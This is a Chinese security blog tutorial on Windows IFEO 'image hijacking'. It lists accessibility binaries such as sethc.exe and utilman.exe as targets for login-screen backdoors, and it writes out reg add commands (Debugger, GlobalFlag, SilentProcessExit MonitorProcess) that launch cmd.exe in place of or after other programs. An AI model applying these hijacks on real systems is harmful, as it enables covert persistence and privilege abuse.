IFEO镜像劫持.在实战中的使用

  • A+
所属分类:安全博客
摘要

IFEO镜像劫持 所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。 白话来讲就是做某个操作的时候被拦截下来,干了别的事。

IFEO镜像劫持

什么是映像劫持(IFEO)

所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。 白话来讲就是做某个操作的时候被拦截下来,干了别的事。

映像劫持利用

1,后门持久化,可以实现系统在未登录状态下,通过快捷键运行自己的程序。(比如按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序)
更多如下

屏幕键盘: C:/Windows/System32/osk.exe 放大镜: C:/Windows/System32/Magnify.exe 旁白: C:/Windows/System32/Narrator.exe 显示切换器: C:/Windows/System32/DisplaySwitch.exe 应用切换器: C:/Windows/System32/AtBroker.exe 

2,提权利用:比如拿到了数据库的root,sa权限,提权无果时也可以尝试一下映像劫持(有时候往往会出奇效)
3,欢迎各位补充。

实战操作

1劫持ie打开cmd 1.在注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options该注册表项建立一个子键,名字是你想劫持的程序,比如 iexplore.exe(不用设置路径,这样设置后你系统里所有的名为iexplore.exe的可执行文件都会被劫持)
2. 给刚加的子键添加一个字符串值(应该称为该子键的属性),名字为Debugger,值为你想运行起来的程序,比如 cmd.exe(程序完整路径)
3. 打开ie浏览器,这个时候会发现cmd启动了。

有一些病毒利用系统的这一特性,让运行杀毒软件程序的操作变成了再次执行病毒体,而一些病毒会在系统不同目录存在多个副本,利用映像劫持劫持不同的程序,指向不同的副本路径,这也是一些病毒被杀死进程删除单个病毒体后又能重新复活的原因之一。

命令:reg add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/notepad.exe" /v Debugger/t REG_SZ /d C:/WINDOWS/system32/cmd.exe

2劫持notepad在退出的时候打开cmd

1在CurrentVersion注册一个GlobalFlag 2在SilentProcessExit注册一个ReportingMode和一个MonitorProcess 3最后在退出notepad的时候我们发现cmd启动了 命令

reg add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/SilentProcessExit/notepad.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/SilentProcessExit/notepad.exe" /v MonitorProcess /d "C:/Windows/System32/cmd.exe" 

参考

https://baike.baidu.com/item/%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81IFEO/8522843?fr=aladdin https://www.cnblogs.com/fanyf/p/4221488.html https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/

来源:http://www.safe6.cn/

本文由 safe6 创作,著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

IFEO镜像劫持.在实战中的使用

本站的所有程序和文章,仅限用于学习和研究目的;不得用于商业或者非法用途,否则,一切后果请用户自负!! 最后编辑时间为: 2019-12-10

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: